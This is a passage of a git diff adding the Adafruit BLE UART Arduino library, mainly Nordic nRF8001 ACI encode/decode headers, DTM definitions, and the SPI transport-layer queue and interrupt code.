acil_encode_cmd_send_data_ack(uint8_t *buffer, const uint8_t pipe_number); + +/** @brief Encode the ACI message to send negative acknowledgement + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] pipe_number Pipe number for which the nack is to be sent + * @param[in] error_code Error code that has to be sent in the NACK + * + * @return None + */ +void acil_encode_cmd_send_data_nack(uint8_t *buffer, const uint8_t pipe_number,const uint8_t error_code); + +/** @brief Encode the ACI message to set the application latency + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_set_app_latency Pointer to the set_application_latency command parameters in ::aci_cmd_params_dtm_cmd_t + * + * @return None + */ +void acil_encode_cmd_set_app_latency(uint8_t *buffer, aci_cmd_params_set_app_latency_t *p_aci_cmd_params_set_app_latency); + +/** @brief Encode the ACI message for setup + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_cmd_params_set_run_behaviour Pointer to the setup data in ::aci_cmd_params_setup_t + * @param[in] setup_data_size Size of setup message + * + * @return None + */ +void acil_encode_cmd_setup(uint8_t *buffer, aci_cmd_params_setup_t *p_aci_cmd_params_setup, uint8_t setup_data_size); + +/** @brief Encode the ACI message for DTM command + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_cmd_params_set_run_behaviour Pointer to the DTM command parameters in ::aci_cmd_params_dtm_cmd_t + * + * @return None + */ +void acil_encode_cmd_dtm_cmd(uint8_t *buffer, aci_cmd_params_dtm_cmd_t *p_aci_cmd_params_dtm_cmd); + +/** @brief Encode the ACI message for Set Key Request command + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_set_key(uint8_t *buffer, aci_cmd_params_set_key_t *p_aci_cmd_params_set_key); + +/** @brief Encode the ACI message for Bond Security Request command + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_bond_security_request(uint8_t *buffer); + +/** @brief Encode the ACI message + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd Pointer to ACI command data in ::aci_cmd_t + * @param[in] bool + * + * @return bool true, if succesful, else returns false + */ +bool acil_encode_cmd(uint8_t *buffer, aci_cmd_t *p_aci_cmd); + +/** @brief Encode the ACI message for Broadcast command + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd Pointer to ACI command data in ::aci_cmd_params_broadcast_t + * + * @return None + */ +void acil_encode_cmd_broadcast(uint8_t *buffer, aci_cmd_params_broadcast_t * p_aci_cmd_params_broadcast); + +/** @brief Encode the ACI message for Open Adv Pipes + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd Pointer to ACI command data in ::aci_cmd_params_open_adv_pipe_t + * + * @return None + */ +void acil_encode_cmd_open_adv_pipes(uint8_t *buffer, aci_cmd_params_open_adv_pipe_t * p_aci_cmd_params_set_adv_svc_data); + +/** @brief Decode the ACI event command response + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] buffer Pointer to the decoded message in ::aci_evt_params_cmd_rsp_t + * + * @return None + */ +void acil_decode_evt_command_response(uint8_t *buffer_in, aci_evt_params_cmd_rsp_t *p_evt_params_cmd_rsp); + +/** @brief Decode the ACI event device started + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_aci_evt Pointer to the decoded message in ::aci_evt_params_device_started_t + * + * @return None + */ +void acil_decode_evt_device_started(uint8_t *buffer_in, aci_evt_params_device_started_t *p_evt_params_device_started); + +/** @brief Decode the ACI event pipe status + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_aci_evt_params_pipe_status Pointer to the decoded message in ::aci_evt_params_pipe_status_t + * + * @return None + */ +void acil_decode_evt_pipe_status(uint8_t *buffer_in, aci_evt_params_pipe_status_t *p_aci_evt_params_pipe_status); + +/** @brief Decode the ACI event for disconnected + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_aci_evt_params_disconnected Pointer to the decoded message in ::aci_evt_params_disconnected_t + * + * @return None + */ +void acil_decode_evt_disconnected(uint8_t *buffer_in, aci_evt_params_disconnected_t *p_aci_evt_params_disconnected); + +/** @brief Decode the ACI event for bond status + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_aci_evt_params_bond_status Pointer to the decoded message in ::aci_evt_params_bond_status_t + * + * @return None + */ +void acil_decode_evt_bond_status(uint8_t *buffer_in, aci_evt_params_bond_status_t *p_aci_evt_params_bond_status); + +/** @brief Decode the ACI event for data received + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_evt_params_data_received Pointer to the decoded message in ::aci_evt_params_data_received_t + * + * @return size Received data size + */ +uint8_t acil_decode_evt_data_received(uint8_t *buffer_in, aci_evt_params_data_received_t *p_evt_params_data_received); + +/** @brief Decode the ACI event data acknowledgement + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_evt_params_data_ack Pointer to the decoded message in ::aci_evt_params_data_ack_t + * + * @return None + */ +void acil_decode_evt_data_ack(uint8_t *buffer_in, aci_evt_params_data_ack_t *p_evt_params_data_ack); + +/** @brief Decode the ACI event for hardware error + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_aci_evt_params_hw_error Pointer to the decoded message in ::aci_evt_params_hw_error_t + * + * @return size Size of debug information + */ +uint8_t acil_decode_evt_hw_error(uint8_t *buffer_in, aci_evt_params_hw_error_t *p_aci_evt_params_hw_error); + +/** @brief Decode the ACI event data credit + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_evt_params_data_credit Pointer to the decoded message in ::aci_evt_params_data_credit_t + * + * @return None + */ +void acil_decode_evt_credit(uint8_t *buffer_in, aci_evt_params_data_credit_t *p_evt_params_data_credit); + +/** @brief Decode the ACI event for connected + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_aci_evt_params_connected Pointer to the decoded message in ::aci_evt_params_connected_t + * + * @return None + */ +void acil_decode_evt_connected(uint8_t *buffer_in, aci_evt_params_connected_t *p_aci_evt_params_connected); + +/** @brief Decode the ACI event for timing + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_evt_params_timing Pointer to the decoded message in ::aci_evt_params_timing_t + * + * @return None + */ +void acil_decode_evt_timing(uint8_t *buffer_in, aci_evt_params_timing_t *p_evt_params_timing); + +/** @brief Decode the ACI event for pipe error + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_evt_params_pipe_error Pointer to the decoded message in ::aci_evt_params_pipe_error_t + * + */ +void acil_decode_evt_pipe_error(uint8_t *buffer_in, aci_evt_params_pipe_error_t *p_evt_params_pipe_error); + +/** @brief Decode the ACI event for key request + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_evt_params_key_type Pointer to the decoded message in ::aci_evt_params_key_type_t + * + * @return None + */ +void acil_decode_evt_key_request(uint8_t *buffer_in, aci_evt_params_key_request_t *p_evt_params_key_request); + +/** @brief Decode the ACI event for echo + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] buffer_out Pointer to the echo message (max size of buffer ::ACI_ECHO_DATA_MAX_LEN) + * + * @return size Received echo message size + */ +uint8_t acil_decode_evt_echo(uint8_t *buffer_in, aci_evt_params_echo_t *buffer_out); + +/** @brief Decode the ACI event + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_aci_evt Pointer to the decoded message in ::aci_evt_t + * + * @return bool true, if succesful, else returns false + */ +bool acil_decode_evt(uint8_t *buffer_in, aci_evt_t *p_aci_evt); + +/** @brief Decode the Display Key Event + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_aci_evt Pointer to the decoded message in ::aci_evt_params_display_passkey_t + * + * @return None + */ +void acil_decode_evt_display_passkey(uint8_t *buffer_in, aci_evt_params_display_passkey_t *p_aci_evt_params_display_passkey); + +#endif /* _acilib_IF_H_ */ diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_types.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_types.h new file mode 100755 index 0000000..02d1256 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_types.h @@ -0,0 +1,25 @@ +/* Copyright (c) 2010 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * @file + * + * @ingroup group_acilib + * + * @brief Type used in the acilib interfaces + */ + +#ifndef _acilib_TYPES_H_ +#define _acilib_TYPES_H_ + +#endif /* _acilib_TYPES_H_ */ diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/ble_system.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/ble_system.h new file mode 100755 index 0000000..40d3e26 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/ble_system.h @@ -0,0 +1,22 @@ +#ifndef BLE_SYSTEM_H_ +#define BLE_SYSTEM_H + +/* +#define HAL_IO_RADIO_CSN SS +#define HAL_IO_RADIO_REQN SS +#define HAL_IO_RADIO_RDY 3 +#define HAL_IO_RADIO_SCK SCK +#define HAL_IO_RADIO_MOSI MOSI +#define HAL_IO_RADIO_MISO MISO +#define HAL_IO_RADIO_RESET 9 +#define HAL_IO_RADIO_ACTIVE 8 + +//#define HAL_IO_LED0 2 +//#define HAL_IO_LED1 6 +*/ + +#define ENABLE_INTERRUPTS() sei() +#define DISABLE_INTERRUPTS() cli() +#define ARE_INTERRUPTS_ENABLED() ((SREG & 0x80) == 0x80) + +#endif diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/dtm.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/dtm.h new file mode 100755 index 0000000..bb24cad --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/dtm.h @@ -0,0 +1,55 @@ +/* Copyright (c) 2010 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * @file + * + * @ingroup group_acilib + * + * @brief Internal prototype for acilib module. + */ + +#ifndef DTM_H__ +#define DTM_H__ + +/** @brief DTM command codes (upper two bits in the DTM command), use a bitwise OR with the frequency N = 0x00 – 0x27: N = (F-2402)/2 Frequency Range 2402 MHz +to 2480 MHz*/ +#define DTM_LE_CMD_RESET 0x00 +#define DTM_LE_CMD_RECEIVER_TEST 0x40 +#define DTM_LE_CMD_TRANSMITTER_TEST 0x80 +#define DTM_LE_CMD_TEST_END 0xC0 + + +/** @brief Defined packet types for DTM */ +#define DTM_LE_PKT_PRBS9 0x00 /**< Bit pattern PRBS9. */ +#define DTM_LE_PKT_0X0F 0x01 /**< Bit pattern 11110000 (LSB is the leftmost bit). */ +#define DTM_LE_PKT_0X55 0x02 /**< Bit pattern 10101010 (LSB is the leftmost bit). */ +#define DTM_LE_PKT_VENDOR 0x03 /**< Vendor specific. Nordic: continous carrier test */ + +/** @brief Defined bit fields for DTM responses. */ +#define LE_PACKET_REPORTING_EVENT_MSB_BIT 0x80 +#define LE_TEST_STATUS_EVENT_LSB_BIT 0x01 + +/** @brief DTM response types. */ +#define LE_TEST_STATUS_EVENT 0x00 +#define LE_TEST_PACKET_REPORT_EVENT 0x80 + +/** @brief DTM return values. */ +#define LE_TEST_STATUS_SUCCESS 0x00 +#define LE_TEST_STATUS_FAILURE 0x01 + + + +#endif //DTM_H__ + +/** @} */ diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal/hal_aci_tl.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal/hal_aci_tl.h new file mode 100755 index 0000000..518c82b --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal/hal_aci_tl.h @@ -0,0 +1,108 @@ +/* Copyright (c) 2009 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** @file + * @brief Interface for hal_aci_tl. + */ + +/** @defgroup hal_aci_tl hal_aci_tl +@{ +@ingroup hal + +@brief Module for the ACI Transport Layer interface +@details This module is responsible for sending and receiving messages over the ACI interface of the nRF8001 chip. + The hal_aci_tl_send_cmd() can be called directly to send ACI commands. + + +The RDYN line is hooked to an interrupt on the MCU when the level is low. +The SPI master clocks in the interrupt context. +The ACI Command is taken from the head of the command queue is sent over the SPI +and the received ACI event is placed in the tail of the event queue. + +*/ + +#ifndef HAL_ACI_TL_H__ +#define HAL_ACI_TL_H__ + +#include "hal_platform.h" + +#ifndef HAL_ACI_MAX_LENGTH +#define HAL_ACI_MAX_LENGTH 31 +#endif //HAL_ACI_MAX_LENGTH + +#define ACI_QUEUE_SIZE 8 + +/** Data type for ACI commands and events */ +typedef struct hal_aci_data_t{ + uint8_t status_byte; + uint8_t buffer[HAL_ACI_MAX_LENGTH+1]; +} hal_aci_data_t; + + +/** @brief Message received hook function. + * @details A hook function that must be implemented by the client of this module. + * The function will be called by this module when a new message has been received from the nRF8001. + * @param received_msg Pointer to a structure containing a pointer to the received data. + */ +extern void hal_aci_tl_msg_rcv_hook(hal_aci_data_t *received_msg); + +/** ACI Transport Layer configures inputs/outputs. + */ +void hal_aci_tl_io_config(void); + + +/** ACI Transport Layer initialization. + */ +void hal_aci_tl_init(void); + +/**@brief Sends an ACI command to the radio. + * @details + * This function sends an ACI command to the radio. This will memorize the pointer of the message to send and + * lower the request line. When the device lowers the ready line, @ref hal_aci_tl_poll_rdy_line() will send the data. + * @param aci_buffer Pointer to the message to send. + * @return True if the send is started successfully, false if a transaction is already running. + */ +bool hal_aci_tl_send(hal_aci_data_t *aci_buffer); + + +/** @brief Check for pending transaction. + * @details + * Call this function from the main context at regular intervals to check if the nRF8001 RDYN line indicates a pending transaction. + * If a transaction is pending, this function will treat it and call the receive hook. + */ +void hal_aci_tl_poll_rdy_line(void); + +hal_aci_data_t * hal_aci_tl_poll_get(void); + +bool hal_aci_tl_event_get(hal_aci_data_t *p_aci_data); + +/** @brief Flush the ACI command Queue and the ACI Event Queue + * @details + * Call this function in the main thread +*/ +void m_aci_q_flush(void); + +/** @brief Enable debug printing of all ACI commands sent and ACI events received + * @details + * when the enable parameter is true. The debug printing is enabled on the Serial. + * When the enable parameter is false. The debug printing is disabled on the Serial. + * By default the debug printing is disabled. +*/ +void hal_aci_debug_print(bool enable); + +#endif // HAL_ACI_TL_H__ +/** @} */ + + + + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal/hal_io.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal/hal_io.h new file mode 100755 index 0000000..d0e9f6c --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal/hal_io.h @@ -0,0 +1,71 @@ +/* Copyright (c) 2009 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** @file +*/ + +/** @defgroup hal_io hal_io + * @{ + * @ingroup hal + * @brief Macros input/output management +*/ + +#include "hal_platform.h" + +#ifndef HAL_IO_H__ +#define HAL_IO_H__ + +#define HAL_IO_P00 PIN0 +#define HAL_IO_P01 PIN1 +#define HAL_IO_P02 PIN2 +#define HAL_IO_P03 PIN3 +#define HAL_IO_P04 PIN4 +#define HAL_IO_P05 PIN5 +#define HAL_IO_P06 PIN6 +#define HAL_IO_P07 PIN7 +#define HAL_IO_P08 PIN8 +#define HAL_IO_P09 PIN9 + +#define HAL_IO_OUTPUT OUTPUT +#define HAL_IO_INPUT INPUT + +/**@brief Macro to configure an I/O. + * @details + * This macro configures a given I/O to input or output with pullup/buffer configuration. + * @param io_name I/O to configure. + * @param is_input Indicate if the I/O is to be set as an input. + * @param io_mode Pull resistor and buffer configuration (must be HAL_IO_OUTPUT_NORMAL_STRENGTH, HAL_IO_OUTPUT_HIGH_STRENGTH, HAL_IO_INPUT_BUF_ON_NO_PULL, + * HAL_IO_INPUT_BUF_ON_PULL_DOWN, HAL_IO_INPUT_BUF_ON_PULL_UP, or HAL_IO_INPUT_BUF_OFF). +*/ +#define HAL_IO_CONFIG(io_name, is_input, io_mode) pinMode(io_name, is_input) + +/**@brief Macro to set an output. + * @details + * This macro sets the given output to the given level (1 -> high, 0 -> low). + * @param io_name Output to change. + * @param io_state Level to set. +*/ +#define HAL_IO_SET_STATE(io_name, io_state) digitalWrite(io_name, io_state) + +/**@brief Macro that reads the current state of an input. + * @details + * This macro reads the current state of a logical input. + * @param io_name Input to read. + * @return Input state level (1 if high, 0 if low). +*/ +#define HAL_IO_READ(io_name) digitalRead(io_name) + + +#endif //HAL_IO_H__ + +/** @} */ diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal_aci_tl.cpp b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal_aci_tl.cpp new file mode 100755 index 0000000..f4a6c7a --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal_aci_tl.cpp @@ -0,0 +1,425 @@ +/* Copyright (c) 2009 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision: 4808 $ + */ + +/** @file +@brief Implementation of the ACI transport layer module +*/ + +#include +#include "hal_platform.h" +#include "hal/hal_aci_tl.h" +#include "hal/hal_io.h" +#include "ble_system.h" +#include + +extern int8_t HAL_IO_RADIO_RESET, HAL_IO_RADIO_REQN, HAL_IO_RADIO_RDY, HAL_IO_RADIO_IRQ; + +static const uint8_t dreqinttable[] = { +#if defined(__AVR_ATmega168__) || defined(__AVR_ATmega328P__) || defined (__AVR_ATmega328__) || defined(__AVR_ATmega8__) + 2, 0, + 3, 1, +#elif defined(__AVR_ATmega1281__) || defined(__AVR_ATmega2561__) || defined(__AVR_ATmega2560__) || defined(__AVR_ATmega1280__) + 2, 0, + 3, 1, + 21, 2, + 20, 3, + 19, 4, + 18, 5, +#elif defined(__AVR_ATmega32U4__) && defined(CORE_TEENSY) + 5, 0, + 6, 1, + 7, 2, + 8, 3, +#elif defined(__AVR_AT90USB1286__) && defined(CORE_TEENSY) + 0, 0, + 1, 1, + 2, 2, + 3, 3, + 36, 4, + 37, 5, + 18, 6, + 19, 7, +#elif defined(__arm__) && defined(CORE_TEENSY) + 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, + 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, + 10, 10, 11, 11, 12, 12, 13, 13, 14, 14, + 15, 15, 16, 16, 17, 17, 18, 18, 19, 19, + 20, 20, 21, 21, 22, 22, 23, 23, 24, 24, + 25, 25, 26, 26, 27, 27, 28, 28, 29, 29, + 30, 30, 31, 31, 32, 32, 33, 33, +#elif defined(__AVR_ATmega32U4__) + 7, 4, + 3, 0, + 2, 1, + 0, 2, + 1, 3, +#elif defined(__AVR_ATmega256RFR2__) + 4, 0, + 5, 1, + 15, 2, + 16, 3, + 13, 4, + 14, 5, + 7, 6, + 18, 7, +#endif +}; + + +static void m_print_aci_data(hal_aci_data_t *p_data); + +typedef struct { + hal_aci_data_t aci_data[ACI_QUEUE_SIZE]; + uint8_t head; + uint8_t tail; +} aci_queue_t; + +static hal_aci_data_t received_data; +static uint8_t spi_readwrite(uint8_t aci_byte); +static bool aci_debug_print; + + + + +static aci_queue_t aci_tx_q; +static aci_queue_t aci_rx_q; + +static void m_aci_q_init(aci_queue_t *aci_q) +{ + uint8_t loop; + + aci_debug_print = false; + aci_q->head = 0; + aci_q->tail = 0; + for(loop=0; looptail + 1) % ACI_QUEUE_SIZE; + const uint8_t length = p_data->buffer[0]; + + if (next == aci_q->head) + { + /* full queue */ + return false; + } + aci_q->aci_data[aci_q->tail].status_byte = 0; + + memcpy((uint8_t *)&(aci_q->aci_data[aci_q->tail].buffer[0]), (uint8_t *)&p_data->buffer[0], length + 1); + aci_q->tail = next; + + return true; +} + +//@comment after a port have test for the queue states, esp. the full and the empty states +static bool m_aci_q_dequeue(aci_queue_t *aci_q, hal_aci_data_t *p_data) +{ + if (aci_q->head == aci_q->tail) + { + /* empty queue */ + return false; + } + + memcpy((uint8_t *)p_data, (uint8_t *)&(aci_q->aci_data[aci_q->head]), sizeof(hal_aci_data_t)); + aci_q->head = (aci_q->head + 1) % ACI_QUEUE_SIZE; + + return true; +} + +static bool m_aci_q_is_empty(aci_queue_t *aci_q) +{ + return (aci_q->head == aci_q->tail); +} + +static bool m_aci_q_is_full(aci_queue_t *aci_q) +{ + uint8_t next; + bool state; + + //This should be done in a critical section + noInterrupts(); + next = (aci_q->tail + 1) % ACI_QUEUE_SIZE; + + if (next == aci_q->head) + { + state = true; + } + else + { + state = false; + } + + interrupts(); + //end + + return state; +} + + + +void m_print_aci_data(hal_aci_data_t *p_data) +{ + const uint8_t length = p_data->buffer[0]; + uint8_t i; + Serial.print(length, DEC); + Serial.print(" :"); + for (i=0; i<=length; i++) + { + Serial.print(p_data->buffer[i], HEX); + Serial.print(F(", ")); + } + Serial.println(F("")); +} + +void toggle_eimsk(bool state) +{ + /* ToDo: This will currently only work with the UNO/ATMega48/88/128/328 */ + /* due to EIMSK. Abstract this away to something MCU nuetral! */ + uint8_t eimsk_bit = 0xFF; + for (uint8_t i=0; ibuffer[0] > 0) + { + if (!m_aci_q_enqueue(&aci_rx_q, p_aci_data)) + { + /* Receive Buffer full. + Should never happen. + Spin in a while loop. + */ + while(1); + } + if (m_aci_q_is_full(&aci_rx_q)) + { + /* Disable RDY line interrupt. + Will latch any pending RDY lines, so when enabled it again this + routine should be taken again */ + toggle_eimsk(false); + } + } +} + +bool hal_aci_tl_event_get(hal_aci_data_t *p_aci_data) +{ + bool was_full = m_aci_q_is_full(&aci_rx_q); + + if (m_aci_q_dequeue(&aci_rx_q, p_aci_data)) + { + if (true == aci_debug_print) + { + Serial.print(" E"); + m_print_aci_data(p_aci_data); + } + + if (was_full) + { + toggle_eimsk(true); + } + return true; + } + else + { + return false; + } +} + +void hal_aci_tl_init() +{ + received_data.buffer[0] = 0; + + SPI.begin(); + SPI.setBitOrder(LSBFIRST); + SPI.setClockDivider(SPI_CLOCK_DIV8); + SPI.setDataMode(SPI_MODE0); + + + + /* initialize aci cmd queue */ + m_aci_q_init(&aci_tx_q); + m_aci_q_init(&aci_rx_q); + + //Configure the IO lines + pinMode(HAL_IO_RADIO_RESET, OUTPUT); + pinMode(HAL_IO_RADIO_RDY, INPUT_PULLUP); + pinMode(HAL_IO_RADIO_REQN, OUTPUT); + + digitalWrite(HAL_IO_RADIO_RESET, 1); + delay(100); + digitalWrite(HAL_IO_RADIO_RESET, 0); + digitalWrite(HAL_IO_RADIO_RESET, 1); + + digitalWrite(SCK, 0); + digitalWrite(MOSI, 0); + digitalWrite(HAL_IO_RADIO_REQN, 1); + digitalWrite(SCK, 0); + + HAL_IO_RADIO_IRQ = 0xFF; + for (uint8_t i=0; ibuffer[0]; + bool ret_val = false; + + if (length > HAL_ACI_MAX_LENGTH) + { + return false; + } + else + { + if (m_aci_q_enqueue(&aci_tx_q, p_aci_cmd)) + { + ret_val = true; + } + } + + if (true == aci_debug_print) + { + Serial.print("C"); + m_print_aci_data(p_aci_cmd); + } + + HAL_IO_SET_STATE(HAL_IO_RADIO_REQN, 0); + return ret_val; +} + + + +hal_aci_data_t * hal_aci_tl_poll_get(void) +{ + uint8_t byte_cnt; + uint8_t byte_sent_cnt; + uint8_t max_bytes; + hal_aci_data_t data_to_send; + + + //SPI.begin(); + + HAL_IO_SET_STATE(HAL_IO_RADIO_REQN, 0); + + // Receive from queue + if (m_aci_q_dequeue(&aci_tx_q, &data_to_send) == false) + { + /* queue was empty, nothing to send */ + data_to_send.status_byte = 0; + data_to_send.buffer[0] = 0; + } + + //Change this if your mcu has DMA for the master SPI + + // Send length, receive header + byte_sent_cnt = 0; + received_data.status_byte = spi_readwrite(data_to_send.buffer[byte_sent_cnt++]); + // Send first byte, receive length from slave + received_data.buffer[0] = spi_readwrite(data_to_send.buffer[byte_sent_cnt++]); + if (0 == data_to_send.buffer[0]) + { + max_bytes = received_data.buffer[0]; + } + else + { + // Set the maximum to the biggest size. One command byte is already sent + max_bytes = (received_data.buffer[0] > (data_to_send.buffer[0] - 1)) + ? received_data.buffer[0] : (data_to_send.buffer[0] - 1); + } + + if (max_bytes > HAL_ACI_MAX_LENGTH) + { + max_bytes = HAL_ACI_MAX_LENGTH; + } + + // Transmit/receive the rest of the packet + for (byte_cnt = 0; byte_cnt < max_bytes; byte_cnt++) + { + received_data.buffer[byte_cnt+1] = spi_readwrite(data_to_send.buffer[byte_sent_cnt++]); + } + + HAL_IO_SET_STATE(HAL_IO_RADIO_REQN, 1); + //SPI.end() + //RDYN should follow the REQN line in approx 100ns + + sleep_enable(); + attachInterrupt(HAL_IO_RADIO_IRQ, m_rdy_line_handle, LOW); + + + + if (false == m_aci_q_is_empty(&aci_tx_q)) + { + //Lower the REQN line to start a new ACI transaction + HAL_IO_SET_STATE(HAL_IO_RADIO_REQN, 0); + } + + /* valid Rx available or transmit finished*/ + return (&received_data); +} + +static uint8_t spi_readwrite(const uint8_t aci_byte) +{ + return SPI.transfer(aci_byte); +} + +void m_aci_q_flush(void) +{ + noInterrupts(); + /* re-initialize aci cmd queue and aci event queue to flush them*/ + m_aci_q_init(&aci_tx_q); + m_aci_q_init(&aci_rx_q); + interrupts(); +} diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal_platform.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal_platform.h new file mode 100755 index 0000000..f0eeccd --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal_platform.h @@ -0,0 +1,69 @@ +/* Copyright (c) 2011 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRENTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +#ifndef PLATFORM_H__ +#define PLATFORM_H__ + +/** @file +* @brief +*/ +#include "Arduino.h" + + +#define hal_pltf_clear_spi_master_config() do { SPCR = 0; } while(0) + +//SPI2X=1 SPS0=1 SPR0=1 -> 250KHz +//DORD=1 LSBit first +//SPE=1 Enable the SPI +//MSTR=1 Enable master mode +//CPOL=0 See Section 7 in the nRF8001 PS (Clock Polarity) +//CPHA=0 See Section 7 in the nRF8001 PS (Clock Phase) +/* +Atmega328 +Table 18-5. Relationship Between SCK and the Oscillator Frequency +SPI2X SPR1 SPR0 SCK Frequency +0 0 0 fosc/4 +0 0 1 fosc/16 +0 1 0 fosc/64 +0 1 1 fosc/128 +1 0 0 fosc/2 +1 0 1 fosc/8 +1 1 0 fosc/32 +1 1 1 fosc/64 +*/ +/* +#define hal_pltf_spi_master_config() do { \ + pinMode(SCK, OUTPUT);\ + pinMode(MOSI, OUTPUT);\ + pinMode(SS, OUTPUT);\ + pinMode(MISO, INPUT);\ + digitalWrite(SCK, LOW);\ + digitalWrite(MOSI, LOW);\ + digitalWrite(SS, HIGH);\ + SPCR = 0; \ + SPSR = 0; \ + SPSR = (1<pipes_open_bitmap[byte_idx] & (0x01 << (pipe % 8))) + { + return(true); + } + return(false); +} + + +bool lib_aci_is_pipe_closed(aci_state_t *aci_stat, uint8_t pipe) +{ + uint8_t byte_idx; + + byte_idx = pipe / 8; + if (aci_stat->pipes_closed_bitmap[byte_idx] & (0x01 << (pipe % 8))) + { + return(true); + } + return(false); +} + + +bool lib_aci_is_discovery_finished(aci_state_t *aci_stat) +{ + return(aci_stat->pipes_open_bitmap[0]&0x01); +} + + + + +void lib_aci_init(aci_state_t *aci_stat) +{ + uint8_t i; + + for (i = 0; i < PIPES_ARRAY_SIZE; i++) + { + aci_stat->pipes_open_bitmap[i] = 0; + aci_stat->pipes_closed_bitmap[i] = 0; + aci_cmd_params_open_adv_pipe.pipes[i] = 0; + } + + + + + is_request_operation_pending = false; + is_indicate_operation_pending = false; + is_open_remote_pipe_pending = false; + is_close_remote_pipe_pending = false; + cur_transaction_cmd = ACI_CMD_INVALID; + memorized_rcvd_cmd_opcode = ACI_CMD_INVALID; + memorized_transaction_cmd_opcode = ACI_CMD_INVALID; + cx_rf_interval = 0; + current_slave_latency = 0; + request_operation_pipe = 0; + indicate_operation_pipe = 0; + cur_error_code = 0; + p_rcvd_evt = NULL; + + p_services_pipe_type_map = aci_stat->aci_setup_info.services_pipe_type_mapping; + pipe_count = 